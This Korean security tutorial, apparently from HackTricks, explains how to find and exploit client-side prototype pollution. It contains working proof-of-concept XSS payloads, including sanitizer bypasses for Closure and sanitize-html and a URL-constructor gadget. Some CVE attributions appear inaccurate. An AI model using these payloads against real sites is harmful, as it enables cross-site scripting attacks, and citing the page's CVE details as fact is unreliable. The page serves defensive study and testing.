클라이언트 사이드 프로토타입 오염

Reading time: 8 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

자동 도구를 사용한 발견

도구 https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap https://github.com/kosmosec/proto-find 를 사용하여 프로토타입 오염 취약점찾을 수 있습니다.

또한, 브라우저 확장 프로그램 PPScan을 사용하여 접속하는 페이지에서 프로토타입 오염 취약점을 자동으로 스캔할 수 있습니다.

속성이 사용되는 위치 디버깅

javascript
// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype, "potentialGadget", {
__proto__: null,
get() {
console.trace()
return "test"
},
})

Prototype Pollution의 근본 원인 찾기

프로토타입 오염 취약점이 도구에 의해 식별되면, 코드가 지나치게 복잡하지 않은 경우, Chrome 개발자 도구에서 location.hash, decodeURIComponent 또는 location.search와 같은 키워드를 검색하여 취약점을 찾을 수 있습니다. 이 접근 방식은 JavaScript 코드의 취약한 섹션을 정확히 찾아내는 데 도움이 됩니다.

더 크고 복잡한 코드베이스의 경우, 취약한 코드를 발견하는 간단한 방법은 다음 단계를 포함합니다:

  1. 도구를 사용하여 취약점을 식별하고 생성자에서 속성을 설정하도록 설계된 페이로드를 얻습니다. ppmap에서 제공하는 예시는 다음과 같을 수 있습니다: constructor[prototype][ppmap]=reserved.
  2. 페이지에서 실행될 JavaScript 코드의 첫 번째 줄에 중단점을 설정합니다. 페이로드로 페이지를 새로 고치고 이 중단점에서 실행을 일시 중지합니다.
  3. JavaScript 실행이 일시 중지된 상태에서, JS 콘솔에서 다음 스크립트를 실행합니다. 이 스크립트는 'ppmap' 속성이 생성될 때 신호를 보내어 그 출처를 찾는 데 도움을 줍니다:
javascript
function debugAccess(obj, prop, debugGet = true) {
var origValue = obj[prop]

Object.defineProperty(obj, prop, {
get: function () {
if (debugGet) debugger
return origValue
},
set: function (val) {
debugger
origValue = val
},
})
}

debugAccess(Object.prototype, "ppmap")
  1. 소스 탭으로 돌아가서 “스크립트 실행 재개”를 선택합니다. JavaScript는 계속 실행되며, 'ppmap' 속성이 예상대로 오염됩니다. 제공된 스니펫을 활용하면 'ppmap' 속성이 오염되는 정확한 위치를 식별할 수 있습니다. 호출 스택을 검사하면 오염이 발생한 다양한 스택을 관찰할 수 있습니다.

어떤 스택을 조사할지 결정할 때, JavaScript 라이브러리 파일과 관련된 스택을 목표로 하는 것이 유용한 경우가 많습니다. 프로토타입 오염은 이러한 라이브러리 내에서 자주 발생하기 때문입니다. 라이브러리 파일에 연결된 관련 스택을 확인하여 식별합니다(오른쪽에 표시되며, 안내를 위한 이미지와 유사합니다). 4행과 6행과 같이 여러 스택이 있는 경우, 4행의 스택이 논리적인 선택입니다. 이는 오염의 초기 발생을 나타내며, 따라서 취약점의 근본 원인입니다. 스택을 클릭하면 취약한 코드로 이동합니다.

https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg

스크립트 가젯 찾기

가젯은 PP 취약점이 발견되면 남용될 코드입니다.

애플리케이션이 간단하다면, **srcdoc/innerHTML/iframe/createElement**와 같은 키워드검색하고 소스 코드를 검토하여 JavaScript 실행으로 이어지는지 확인할 수 있습니다. 때때로 언급된 기술이 가젯을 전혀 찾지 못할 수도 있습니다. 그런 경우, 순수 소스 코드 검토를 통해 아래 예와 같은 멋진 가젯을 발견할 수 있습니다.

Mithil 라이브러리 코드에서 PP 가젯 찾기 예시

이 글을 확인하세요: https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

취약한 라이브러리를 위한 페이로드 재컴파일

PP를 통한 HTML 세니타이저 우회

이 연구는 일부 HTML 세니타이저 라이브러리에서 제공하는 세니타이즈를 우회하기 위해 사용할 PP 가젯을 보여줍니다:

  • sanitize-html
https://research.securitum.com/wp-content/uploads/sites/2/2020/08/image-7.png
  • dompurify
https://research.securitum.com/wp-content/uploads/sites/2/2020/08/image-9.png
  • Closure
html
<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>

New Tools & Automation (2023–2025)

  • Burp Suite DOM Invader (v2023.6) – PortSwigger는 매개변수 이름을 자동으로 변형하고(e.g. __proto__, constructor.prototype) 브라우저 확장 내의 싱크 포인트에서 오염된 속성을 감지하는 전용 Prototype-pollution 탭을 추가했습니다. 가젯이 트리거되면, DOM Invader는 실행 스택과 속성이 역참조된 정확한 줄을 보여주어 수동 중단점 탐색이 필요 없게 만듭니다. 위에 이미 보여준 "속성 접근 시 중단" 스니펫과 결합하여 source → sink로 빠르게 전환할 수 있습니다.
  • protoStalker – 실시간으로 프로토타입 체인을 시각화하고 onerror, innerHTML, srcdoc, id 등과 같은 전역적으로 위험한 키에 대한 쓰기를 플래그하는 오픈 소스 Chrome DevTools 플러그인(2024년 출시)입니다. 프로덕션 번들만 있고 빌드 단계를 계측할 수 없을 때 유용합니다.
  • ppfuzz 2.0 (2025) – 이 도구는 이제 ES 모듈, HTTP/2 및 WebSocket 엔드포인트를 지원합니다. 새로운 -A browser 모드는 헤드리스 Chromium 인스턴스를 실행하고 DOM API를 무차별 대입하여 가젯 클래스를 자동으로 열거합니다(아래 섹션 참조).

Recent Prototype-Pollution Gadget Research (2022–2025)

2023년 중반, PortSwigger 연구원들은 브라우저 내장 객체가 오염되면 신뢰할 수 있는 XSS 가젯으로 변환될 수 있다는 논문을 발표했습니다. 이러한 객체는 모든 페이지에 존재하므로, 타겟 애플리케이션 코드가 오염된 속성에 접근하지 않더라도 실행을 얻을 수 있습니다.

예제 가젯(모든 에버그린 브라우저 ≥ 2023-04에서 작동):

html
<script>
// Source (e.g. https://victim/?__proto__[href]=javascript:alert(document.domain))
// For demo we just pollute manually:
Object.prototype.href = 'javascript:alert(`polluted`)' ;

// Sink – URL() constructor implicitly reads `href`
new URL('#'); // breaks into JS; in Chrome you get an alert, Firefox loads "javascript:" URL
</script>

다음은 오염 후 작동이 확인된 다른 유용한 글로벌 가젯입니다 (테스트 2024-11):

Gadget classRead propertyPrimitive achieved
Notificationtitlealert() via notification click
WorkernameJS execution in dedicated Worker
ImagesrcTraditional onerror XSS
URLSearchParamstoStringDOM-based Open Redirect

전체 11개 가젯 목록과 샌드박스 탈출에 대한 논의는 PortSwigger 논문을 참조하세요.


주목할 만한 클라이언트 측 PP CVE (2023-2025)

  • DOMPurify ≤ 3.0.8 – CVE-2024-45801 공격자는 sanitizer가 초기화되기 전에 Node.prototype.after를 오염시켜 SAFE_FOR_TEMPLATES 프로필을 우회하고 저장된 XSS를 유발할 수 있습니다. 공급자는 Object.hasOwn() 체크와 내부 맵을 위한 Object.create(null)을 사용하여 패치했습니다.
  • jQuery 3.6.0-3.6.3 – CVE-2023-26136 / CVE-2023-26140 extend()location.hash에서 유래한 조작된 객체에 사용될 수 있어, 브라우징 컨텍스트에서 Object.prototype에 임의의 속성을 도입합니다.
  • sanitize-html < 2.8.1 (2023-10) 프로토타입 오염 {"__proto__":{"innerHTML":"<img/src/onerror=alert(1)>"}}와 같은 악의적인 속성 목록이 허용 목록을 우회했습니다.

취약한 라이브러리가 클라이언트에만 존재하더라도, 결과적인 XSS는 반사된 매개변수, postMessage 핸들러 또는 나중에 렌더링된 저장된 데이터를 통해 원격으로 여전히 악용될 수 있습니다.


현대 방어 조치

  1. 글로벌 프로토타입을 조기에 동결 (이상적으로는 첫 번째 스크립트로):
javascript
Object.freeze(Object.prototype);
Object.freeze(Array.prototype);
Object.freeze(Map.prototype);

이것이 늦은 확장에 의존하는 폴리필을 깨뜨릴 수 있음을 유의하세요. 2. JSON.parse(JSON.stringify(obj)) 또는 커뮤니티 "deepMerge" 스니펫 대신 structuredClone()을 사용하세요 – 이는 설정자/가져오기자를 무시하고 프로토타입 체인을 탐색하지 않습니다. 3. 깊은 병합 기능이 정말 필요할 때는 lodash ≥ 4.17.22 또는 deepmerge ≥ 5.3.0를 선택하세요. 이들은 내장된 프로토타입 위생을 가지고 있습니다. 4. script-src 'self'와 엄격한 nonce가 포함된 Content-Security-Policy를 추가하세요. CSP는 모든 가젯을 차단하지는 않지만 (예: location 조작), 대부분의 innerHTML 싱크를 차단합니다.

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기